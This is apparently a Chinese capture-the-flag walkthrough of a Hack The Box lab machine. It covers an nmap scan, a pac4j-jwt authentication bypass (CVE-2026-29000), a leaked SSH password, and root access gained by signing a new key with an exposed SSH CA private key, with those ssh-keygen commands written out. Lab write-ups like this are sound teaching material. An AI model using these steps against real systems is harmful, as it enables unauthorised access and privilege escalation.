端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB/principal]
└─$ sudo nmap -p- --min-rate 10000 principal.htb
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 15:54 CST
Nmap scan report for principal.htb
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds

web 渗透

靶机开启了 8080 端口,上去查看,发现是一个登录页面:

image

在开发者工具的 网络 模块下,发现后端是一个 pac4j-jwt/6.0.3

image

在网上搜索是否存在已知漏洞,发现了一个身份认证绕过漏洞 CVE-2026-29000,这个漏洞允许我们在拿到服务器的公钥的情况下,就绕过身份认证。

在网页的 app.js 里面,我们发现了存储 jwks 的 api 端点:

image

访问它,我们获得了 jwks

image

于是,我们就可以使用上述漏洞的 POC 来获取 token 了:

image

使用该 token 访问 /api/settings

image

有一个像是密码的字符串 D3pl0y_$$H_Now42!

/api/dashboard 端点,有一个用户名叫 svc-deploy

image

因此尝试使用 svc-deploy:D3pl0y_$$H_Now42! 作为账号密码进行 ssh 登录,登录成功了:

image

拿到了 user flag。

提权

在靶机内寻找信息,在 /opt/principal/ssh 里面有几个文件:

image

其中 README.txt 的内容如下:

1
2
3
4
5
6
7
8
9
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication

把这段话扔给 AI ,他说 在 SSH 世界里,可以用这个 CA 给用户的公钥“签名”,生成一个证书。之后用户拿着证书登录服务器,服务器只需验证证书是否由受信任的 CA 签名,而不用逐一配置每个用户的公钥

意味着,我们可以拿这个 CA 证书来给一个 ssh 公钥签名,然后拿着这个签名后的证书去进行登录。

流程如下:

  • 生成一个新的 SSH 密钥对(用于登录 root)

    ssh-keygen -t rsa -b 4096 -f mykey -N ""

  • 使用 CA 私钥对公钥进行签名,生成证书

    ssh-keygen -s /opt/principal/ssh/ca -I "penetest" -n root -V +1h mykey.pub

  • 使用证书以 root 身份登录本机

    ssh -i mykey -o CertificateFile=mykey-cert.pub root@localhost

如下:

image

拿到了 root flag。